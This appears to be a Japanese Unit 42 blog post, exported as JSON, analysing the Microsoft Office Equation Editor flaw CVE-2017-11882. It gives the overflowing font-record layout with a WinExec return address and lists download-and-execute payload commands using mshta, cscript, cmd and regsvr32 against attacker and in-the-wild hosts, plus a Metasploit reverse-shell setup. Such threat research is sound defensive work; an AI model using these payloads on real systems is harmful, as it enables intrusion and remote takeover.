{"id":106006,"date":"2017-12-08T05:00:17","date_gmt":"2017-12-08T13:00:17","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=106006"},"modified":"2020-04-06T23:34:09","modified_gmt":"2020-04-07T06:34:09","slug":"unit42-analysis-of-cve-2017-11882-exploit-in-the-wild","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild\/","title":{"rendered":"Microsoft Office\u306e\u8106\u5f31\u6027CVE-2017-11882\u306e\u5206\u6790"},"content":{"rendered":"

\u6982\u8981<\/h2>\n

\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u30c1\u30fc\u30e0 Unit 42 \u306e\u8106\u5f31\u6027\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u3001Microsoft Office \u306b\u542b\u307e\u308c\u3066\u3044\u305f\u8106\u5f31\u6027 CVE-2017-11882<\/a> \u3092\u60aa\u7528\u3059\u308b\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u8907\u6570\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u30ad\u30e3\u30d7\u30c1\u30e3\u3057\u307e\u3057\u305f\u3002\u672c\u8106\u5f31\u6027\u306f\u3001Microsoft \u306b\u3088\u308a\u30012017 \u5e74 11 \u6708 14 \u65e5\u306b\u6708\u4f8b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30d7\u30ed\u30bb\u30b9\u306e\u4e00\u74b0\u3068\u3057\u3066\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\uff08\u8106\u5f31\u6027\u3092\u72d9\u3063\u305f\u653b\u6483\uff09\u306f Metasploit \u7528\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u3066\u304a\u308a\u3001\u8907\u6570\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3057\u305f\u7279\u5b9a\u306e\u653b\u6483\u306b\u3064\u3044\u3066\u306e\u8a18\u4e8b\u3092\u516c\u958b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u3068\u305d\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u30e1\u30ab\u30cb\u30ba\u30e0\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n

CVE-2017-11882 \u306b\u3064\u3044\u3066:<\/h3>\n

Microsoft\u6570\u5f0f\u30a8\u30c7\u30a3\u30bf\u30fc<\/a>\u306f Microsoft Office \u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u3059\u3002\u30b9\u30bf\u30c3\u30af\u30d0\u30c3\u30d5\u30a1\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u8106\u5f31\u306a\u30b7\u30b9\u30c6\u30e0\u3067\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3068\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306f\u300117 \u5e74\u4ee5\u4e0a\u524d\u306e 2000 \u5e74 11\u6708 9 \u65e5\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u3066\u4ee5\u964d\u3001\u518d\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u306a\u3044\u307e\u307e\u3001\u73fe\u5728\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u308b\u3059\u3079\u3066\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Microsoft Office \u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002Microsoft \u6570\u5f0f\u30a8\u30c7\u30a3\u30bf\u30fc\u306feqnedt32.exe \u306b\u3088\u308a\u30db\u30b9\u30c8\u3055\u308c\u308b\u30a2\u30a6\u30c8\u30d7\u30ed\u30bb\u30b9 COM \u30b5\u30fc\u30d0\u3067\u3059\u3002\u3064\u307e\u308a\u3001\u72ec\u81ea\u306e\u30d7\u30ed\u30bb\u30b9\u3068\u3057\u3066\u72ec\u7acb\u3057\u3066\u5b9f\u884c\u3055\u308c\u3001\u4ed6\u306e\u30d7\u30ed\u30bb\u30b9\u304b\u3089\u306e\u30b3\u30de\u30f3\u30c9\u3092\u53d7\u3051\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n

\u3053\u3046\u3057\u305f\u653b\u6483\u304b\u3089\u306f\u3001\u30c7\u30fc\u30bf\u5b9f\u884c\u9632\u6b62 (DEP) \u304a\u3088\u3073\u30a2\u30c9\u30ec\u30b9\u7a7a\u9593\u914d\u7f6e\u306e\u30e9\u30f3\u30c0\u30e0\u5316 (ASLR) \u306e\u6a5f\u80fd\u306b\u3088\u308a\u4fdd\u8b77\u3055\u308c\u308b\u306f\u305a\u306a\u306e\u3067\u3059\u304c\u3001eqnedt32.exe \u306e\u30ea\u30f3\u30af\u65b9\u6cd5\u304c\u539f\u56e0\u3067\u3001\u3053\u308c\u3089\u306e\u6a5f\u80fd\u304c\u4f7f\u7528\u3055\u308c\u305a\u3001\u305d\u306e\u7d50\u679c\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3068\u306a\u308a\u307e\u3059\u3002\u30a2\u30a6\u30c8\u30d7\u30ed\u30bb\u30b9 COM \u30b5\u30fc\u30d0\u3067\u3042\u308b\u305f\u3081\u3001EMET \u3084 Windows Defender Exploit Guard \u306a\u3069\u3001Microsoft Office \u306e\u305f\u3081\u306e\u4fdd\u8b77\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u3067\u9069\u7528\u3055\u308c\u308b\u5834\u5408\u3092\u9664\u304d\u3001eqnedt32.exe \u306b\u306f\u9069\u7528\u3055\u308c\u307e\u305b\u3093\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u7279\u5225\u306a\u7d30\u5de5\u3092\u65bd\u3057\u305f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u6a19\u7684\u306b\u958b\u304b\u305b\u3066\u3001\u7d50\u679c\u7684\u306b\u3001\u653b\u6483\u8005\u304c\u7d44\u307f\u8fbc\u3093\u3060\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/p>\n

\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e PoC (Proof of Concept) \u306e\u5206\u6790<\/h3>\n

\u3053\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u5206\u6790\u3059\u308b PoC RTF \u30b5\u30f3\u30d7\u30eb\u306f\u3001\u4ee5\u4e0b\u306e\u5c5e\u6027\u3092\u6709\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n
SHA256<\/b><\/td>\n02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u672c\u30b5\u30f3\u30d7\u30eb\u306f\u00a0GitHub<\/a>\u00a0\u3067\u5165\u624b\u53ef\u80fd\u3067\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5206\u6790\u306b\u3088\u308a\u3001\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u30af\u30e9\u30b9\u304c\u300cEquation.3\u300d\u3067\u3042\u308a\u3001OLE \u6570\u5f0f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3067\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n

\n
\"1
1 \u30af\u30e9\u30b9\u300cEquation.3\u300d\u3092\u793a\u3059 RTF \u30d5\u30a1\u30a4\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4<\/figcaption><\/figure>\n<\/div>\n

\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u62bd\u51fa\u5f8c\u3001OLE\u3001CompObj\u3001\u304a\u3088\u3073 ObjInfo \u306e\u5404\u30b9\u30c8\u30ea\u30fc\u30e0\u306f\u30b9\u30ad\u30c3\u30d7\u3057\u3066\u3001Equation Native \u30b9\u30c8\u30ea\u30fc\u30e0\u306b\u76f4\u63a5\u79fb\u52d5\u3057\u307e\u3059\u3002<\/p>\n

\n
\"2
2 \u3055\u307e\u3056\u307e\u306a\u30b9\u30c8\u30ea\u30fc\u30e0\u3092\u793a\u3059\u30d5\u30a1\u30a4\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4<\/figcaption><\/figure>\n<\/div>\n

\u30b9\u30c8\u30ea\u30fc\u30e0\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u69cb\u9020<\/a>\u306e\u30d8\u30c3\u30c0\u30fc\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n

<\/div>\n

\u3053\u306e\u5f8c\u308d\u306b\u00a0MTEF<\/a>\u00a0\u30c7\u30fc\u30bf\u304c\u7d9a\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u306f\u3001MTEF \u30d8\u30c3\u30c0\u30fc\u3068\u8907\u6570\u306e\u30ec\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002MTEF \u306f\u3001\u6570\u5f0f\u30a8\u30c7\u30a3\u30bf\u30fc\u3067\u4f7f\u7528\u3055\u308c\u308b\u30d0\u30a4\u30ca\u30ea\u5f62\u5f0f\u306e\u6570\u5f0f\u3067\u3059\u3002\u30d8\u30c3\u30c0\u30fc\u306b\u306f\u3001MTEF \u30c7\u30fc\u30bf\u306e\u4e00\u822c\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n\n\n\n\n\n
\u8aac\u660e<\/b><\/td>\n\u30b5\u30a4\u30ba(\u30d0\u30a4\u30c8)<\/b><\/td>\n\u5024<\/b><\/td>\n\u30b3\u30e1\u30f3\u30c8<\/b><\/td>\n<\/tr>\n
MTEF\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/td>\n1<\/td>\n0x3<\/td>\nMTEFv3<\/td>\n<\/tr>\n
\u751f\u6210\u3057\u305f\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0<\/td>\n1<\/td>\n0x3<\/td>\nWindows<\/td>\n<\/tr>\n
\u751f\u6210\u3057\u305f\u88fd\u54c1<\/td>\n1<\/td>\n0x1<\/td>\nEquation Editor<\/td>\n<\/tr>\n
\u88fd\u54c1\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/td>\n1<\/td>\n0x3<\/td>\n<\/td>\n<\/tr>\n
\u88fd\u54c1\u306e\u30b5\u30d6\u30d0\u30fc\u30b8\u30e7\u30f3<\/td>\n1<\/td>\n0xa<\/td>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u8868 1 METF \u306e\u30d8\u30c3\u30c0\u30fc<\/i><\/span><\/p>\n

\u30d8\u30c3\u30c0\u30fc\u306e\u5f8c\u306b\u306f\u3001MTEF \u306e\u30ec\u30b3\u30fc\u30c9\u304c\u3044\u304f\u3064\u304b\u7d9a\u304d\u307e\u3059\u3002\u8106\u5f31\u6027\u3092\u5f15\u304d\u8d77\u3053\u3059\u60aa\u610f\u306e\u3042\u308b\u30ec\u30b3\u30fc\u30c9\u306f Font \u30ec\u30b3\u30fc\u30c9\u3067\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u306f\u4ee5\u4e0b\u306e\u69cb\u9020\u3092\u6709\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n\n\n\n\n
\u8aac\u660e<\/b><\/td>\n\u30b5\u30a4\u30ba(\u30d0\u30a4\u30c8)<\/b><\/td>\n\u5024<\/b><\/td>\n\u30b3\u30e1\u30f3\u30c8<\/b><\/td>\n<\/tr>\n
\u30bf\u30b0<\/td>\n1<\/td>\n0x8<\/td>\n0x8 \u306f Font \u30ec\u30b3\u30fc\u30c9\u3092\u793a\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n
\u66f8\u4f53\u756a\u53f7<\/td>\n1<\/td>\n0x5a<\/td>\n<\/td>\n<\/tr>\n
\u30b9\u30bf\u30a4\u30eb<\/td>\n1<\/td>\n0x5a<\/td>\n<\/td>\n<\/tr>\n
\u30d5\u30a9\u30f3\u30c8\u540d<\/td>\nNULL \u533a\u5207\u308a\u3067\u53ef\u5909\u9577<\/td>\n\u201ccmd.exe \/c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA\u201d + 0x00430c12<\/td>\n\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3057\u3066\u30ea\u30bf\u30fc\u30f3\u30a2\u30c9\u30ec\u30b9\u3092\u4e0a\u66f8\u304d\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u8868 2 Font \u30ec\u30b3\u30fc\u30c9<\/i><\/span><\/p>\n

\u30d5\u30a9\u30f3\u30c8\u540d\u304c\u9577\u3059\u304e\u308b\u3068\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3057\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u5f15\u304d\u8d77\u3053\u3057\u307e\u3059\u3002\u30c7\u30d0\u30c3\u30ac\u3092\u4f7f\u7528\u3057\u3066\u3001\u8a73\u3057\u304f\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n

\n
\"3
3 \u30b5\u30f3\u30d7\u30eb\u3092 IDA \u3067\u8868\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<\/div>\n

\u8106\u5f31\u6027\u306f\u3001EQNEDT32.EXE \u304c\u30ed\u30fc\u30ab\u30eb\u306b\u4f5c\u6210\u3057\u305f\u30d0\u30c3\u30d5\u30a1\u306b\u30d5\u30a9\u30f3\u30c8\u540d\u3092\u30b3\u30d4\u30fc\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u767a\u751f\u3057\u307e\u3059\u3002\u30d0\u30c3\u30d5\u30a1\u306f 40 (0x28) \u30d0\u30a4\u30c8\u306e\u307f\u3067\u3059\u304c\u3001\u30d5\u30a9\u30f3\u30c8\u540d\u304c 40 \u30d0\u30a4\u30c8\u3092\u8d85\u3048\u308b\u5834\u5408 (\u3053\u3053\u3067\u306f 48 \u30d0\u30a4\u30c8)\u3001\u30d0\u30c3\u30d5\u30a1\u304c\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3057\u3001EBP \u3068\u30ea\u30bf\u30fc\u30f3\u30a2\u30c9\u30ec\u30b9\u304c\u4e0a\u66f8\u304d\u3055\u308c\u307e\u3059\u3002\u95a2\u6570\u306e\u5b9f\u884c\u304c\u5b8c\u4e86\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u304c\u5272\u308a\u5f53\u3066\u305f\u30a2\u30c9\u30ec\u30b9\u306b\u5236\u5fa1\u30d5\u30ed\u30fc\u304c\u79fb\u308a\u307e\u3059\u3002<\/p>\n

\n
\"4
4 \u30d5\u30a9\u30f3\u30c8\u540d\u30b3\u30d4\u30fc\u524d<\/figcaption><\/figure>\n<\/div>\n
\n
\"5
5 \u30d5\u30a9\u30f3\u30c8\u540d\u30b3\u30d4\u30fc\u5f8c<\/figcaption><\/figure>\n<\/div>\n

\u3053\u3053\u3067\u306f\u3001WinExec \u306e\u30a2\u30c9\u30ec\u30b9\u3067\u3042\u308b 0x430c12 \u306b\u95a2\u6570\u304c\u300c\u623b\u308a\u300d\u3001\u5f15\u6570\u306e\u300c\u30d5\u30a9\u30f3\u30c8\u540d\u300d\u306b\u3082\u653b\u6483\u8005\u304c\u6307\u5b9a\u3057\u305f\u5165\u529b\u304c\u6e21\u3055\u308c\u307e\u3059\u3002<\/p>\n

\n
\"6
6 WinExec \u306b\u5236\u5fa1\u304c\u623b\u308b\u3068\u3053\u308d\u3092\u30c7\u30d0\u30c3\u30ac\u3067\u8868\u793a<\/figcaption><\/figure>\n<\/div>\n

\u3053\u306e\u4f8b\u3067\u306f\u3001Windows \u96fb\u5353 (calc.exe) \u3092\u958b\u3044\u3066\u3044\u307e\u3059\u3002<\/p>\n

\n
\"7
7 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5b8c\u4e86\u6642\u306b Calc.exe \u3092\u8868\u793a<\/figcaption><\/figure>\n<\/div>\n

\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u653b\u6483\u624b\u6cd5\u306e\u5206\u6790<\/h3>\n

\u6b21\u306b\u3001\u653b\u6483\u8005\u304c\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u65b9\u6cd5\u3092\u3044\u304f\u3064\u304b\u793a\u3057\u307e\u3059\u3002\u3053\u306e Proof of Concept \u3067\u306f\u300116 \u9032\u6570\u8868\u8a18\u3067\u00a0636d642e657865202f632063616c632e65786520<\/b>\u00a0\u3068\u306a\u308b\u30d0\u30a4\u30c8\u5217\u304c\u30b3\u30de\u30f3\u30c9\u00a0cmd.exe \/c calc.exe<\/b>\u00a0\u3092\u8868\u3059\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u3053\u306e Proof of Concept \u3092\u958b\u304f\u3068\u3001Windows \u96fb\u5353\u304c\u5b9f\u884c\u3055\u308c\u3001\u96fb\u5353\u306e UI \u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u305f\u3060\u3057\u3053\u306e\u624b\u6cd5\u306b\u306f\u3001\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3067\u304d\u308b\u30d0\u30c3\u30d5\u30a1\u9577\u304c\u304b\u306a\u308a\u77ed\u3044\u3068\u3044\u3046\u5236\u7d04\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n

\n
\"8
8 \u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3059\u308b\u30d0\u30c3\u30d5\u30a1\u3092v4\u306b\u30b3\u30d4\u30fc\u3059\u308b\u30b3\u30fc\u30c9\u3092IDA\u3067\u8868\u793a<\/figcaption><\/figure>\n<\/div>\n

\u653b\u6483\u8005\u304c\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3067\u304d\u308b\u914d\u5217\u306e\u30b5\u30a4\u30ba\u306f 36 \u30d0\u30a4\u30c8\u3067\u3059 (\u4e0a\u306e\u56f3\u306e overflow_buffer)\u3002\u305f\u3060\u3057\u3001\u5909\u6570 v12 \u3068\u4fdd\u5b58\u3055\u308c\u305f EBP \u306e\u9818\u57df\u3082\u4f7f\u3048\u308b\u306e\u3067\u3001\u3055\u3089\u306b 8 \u30d0\u30a4\u30c8\u5206\u9818\u57df\u3092\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\u3067\u306f\u767a\u884c\u3057\u3088\u3046\u3068\u3059\u308b\u30b3\u30de\u30f3\u30c9\u304c\u3001\u4f7f\u7528\u53ef\u80fd\u306a\u5408\u8a08 44 \u30d0\u30a4\u30c8\u3092\u4e0a\u56de\u308b\u5834\u5408\u306f\u3001\u3069\u3046\u3057\u305f\u3089\u826f\u3044\u3067\u3057\u3087\u3046\u304b\u3002<\/p>\n

1 \u3064\u306e\u65b9\u6cd5\u306f\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b\u30b5\u30fc\u30d0\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u30db\u30b9\u30c8\u3057\u3066\u304a\u304d\u3001\u305d\u306e\u30b5\u30fc\u30d0\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u5225\u306e\u30d0\u30a4\u30ca\u30ea\u3092\u5b9f\u884c\u3055\u305b\u308b\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u3053\u306e 44 \u30d0\u30a4\u30c8\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u3067\u306f mshta \u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u304b\u3089 VBscript \u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u304c\u3001\u9577\u3055\u306f 37 \u6587\u5b57\u3067\u3059\u307f\u307e\u3059 (\u89d2\u304b\u3063\u3053\u306f\u7121\u5bb3\u5316\u306e\u305f\u3081\u306b\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3067\u3059\u304b\u3089\u3053\u3053\u3067\u306f\u7121\u8996\u3057\u3066\u304f\u3060\u3055\u3044)\u3002<\/p>\n

mshta http:\/\/192.168.56[.]102\/test.html<\/span><\/p>\n

\u4ee5\u4e0b\u306f\u3001\u653b\u6483\u8005\u304c\u305d\u306e\u30b5\u30fc\u30d0\u3067\u30db\u30b9\u30c8\u3057\u3046\u308b\u30b3\u30fc\u30c9\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u3059\u3002\u3053\u306e\u65b9\u6cd5\u3067\u3082\u3001Windows \u4e0a\u3067\u5b9f\u884c\u3059\u308b\u5834\u5408\u3068\u540c\u3058\u76ee\u6a19\u3092\u9054\u6210\u3067\u304d\u3001\u3055\u3089\u306b\u3067\u304d\u308b\u3053\u3068\u306f \u591a\u304f\u306a\u308a\u307e\u3059\u3002<\/p>\n

<\/div>\n

\u540c\u69d8\u306e\u9078\u629e\u80a2\u3068\u3057\u3066\u3001\u633f\u5165\u3055\u308c\u305f\u547d\u4ee4\u3067 Metasploit \u30b5\u30fc\u30d0\u3092\u30dd\u30a4\u30f3\u30c8\u3057\u3001\u653b\u6483\u8005\u306b\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u6e21\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u306f\u3001Metasploit \u304c\u30b5\u30fc\u30d0 192.168.56.103 \u3067\u30ea\u30e2\u30fc\u30c8\u30b7\u30a7\u30eb\u3092\u30db\u30b9\u30c8\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n

\n
\"9
9 Metasploit \u30b5\u30fc\u30d0\u306e\u5b9f\u884c<\/figcaption><\/figure>\n<\/div>\n

\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u633f\u5165\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u30b3\u30de\u30f3\u30c9\u306e\u9577\u3055\u306f\u3001\u305f\u3063\u305f 40 \u30d0\u30a4\u30c8\u3067\u3059\u3002<\/p>\n

mshta.exe http:\/\/192.168.56[.]103:8080\/abc<\/span><\/p>\n

\u88ab\u5bb3\u8005\u304c\u3053\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304f\u3068\u3001Metasploit \u30b5\u30fc\u30d0\u306f\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u9001\u4fe1\u3057\u3001\u653b\u6483\u8005\u306b\u30db\u30b9\u30c8\u306e\u5236\u5fa1\u3092\u6e21\u3057\u307e\u3059 (\u4ee5\u4e0b\u3092\u53c2\u7167)\u3002<\/p>\n

\n
\"10
10 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3055\u308c\u305f\u30db\u30b9\u30c8\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9001\u4fe1\u3059\u308b Metasploit<\/figcaption><\/figure>\n<\/div>\n

\u5b9f\u969b\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u4f8b<\/h3>\n

11 \u6708 20 \u65e5\u4ee5\u964d\u3001\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u30b5\u30fc\u30d3\u30b9 AutoFocus \u3067\u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3088\u3046\u3068\u3059\u308b\u653b\u6483\u304c\u6570\u5343\u4ef6\u7279\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u5927\u534a\u306f\u4e0a\u8a18\u306e\u624b\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u304a\u308a\u3001cmd.exe \u3092\u76f4\u63a5\u547c\u3073\u51fa\u3059\u304b\u3001mshta.exe \u307e\u305f\u306f cscript.exe \u3092\u4f7f\u7528\u3057\u3066\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b\u30b5\u30fc\u30d0\u304b\u3089\u30ea\u30e2\u30fc\u30c8\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u8868\u306f\u3001\u6700\u3082\u4e00\u822c\u7684\u306a\u624b\u6cd5\u306e\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n\n\n\n\n
\u30b3\u30de\u30f3\u30c9<\/td>\n\u30d1\u30e9\u30e1\u30fc\u30bf<\/td>\n\u8aac\u660e<\/td>\n\u4f8b<\/td>\n<\/tr>\n
cmd.execmd.exe<\/b><\/td>\n\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb<\/p>\n

IP + \u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb<\/td>\n

cmd.exe \u304c\u30ed\u30fc\u30ab\u30eb\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/p>\n

cmd.exe \u304c\u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/td>\n

cmd.exe \/c calc.exe<\/p>\n

cmd.exe \/c start \\\\\\\\172.16.38.130\\\\c$\\\\1.exe<\/p>\n

cmd.exe \/c calc.exe<\/p>\n

cmd.exe \/c start \\\\\\\\172.16.38.130\\\\c$\\\\1.exe<\/td>\n<\/tr>\n

cscript.execscript.exe<\/b><\/td>\n\u30b9\u30af\u30ea\u30d7\u30c8\u8a00\u8a9e + \u30b9\u30af\u30ea\u30d7\u30c8<\/td>\ncscript.exe \u304c\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/td>\ncscript.exe \/\/E:jscript \\\\\\\\xxd.cc\\\\bwou.pngcscript.exe \/\/E:jscript \\\\\\\\xxd.cc\\\\bwou.png<\/td>\n<\/tr>\n
mshta.exemshta.exe<\/b><\/td>\nIP + \u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb<\/td>\nmshta.exe \u304c\u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/td>\nmshta.exe http:\/\/104.254.99[.]77\/x.txt<\/p>\n

 <\/p>\n

mshta https:\/\/seliodrones[.]info\/otr\/otr.htamshta.exe http:\/\/104.254.99[.]77\/x.txt<\/p>\n

mshta https:\/\/seliodrones[.]info\/otr\/otr.hta<\/td>\n<\/tr>\n

regsvr32.exeregsvr32.exe<\/b><\/td>\n\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30e9\u30b0\u3068\u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b DLL<\/td>\nregsvr32.exe \u304c\u30ea\u30e2\u30fc\u30c8\u306e\u60aa\u610f\u306e\u3042\u308b DLL \u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/td>\nregsvr32 \/i:http[:]\/\/1997106195 scrobj.dll &AA<\/p>\n

Cregsvr32 \/i:http[:]\/\/1997106195 scrobj.dll &AA
\nC<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u653b\u6483\u306e\u4e00\u4f8b\u304c\u4ee5\u4e0b\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n
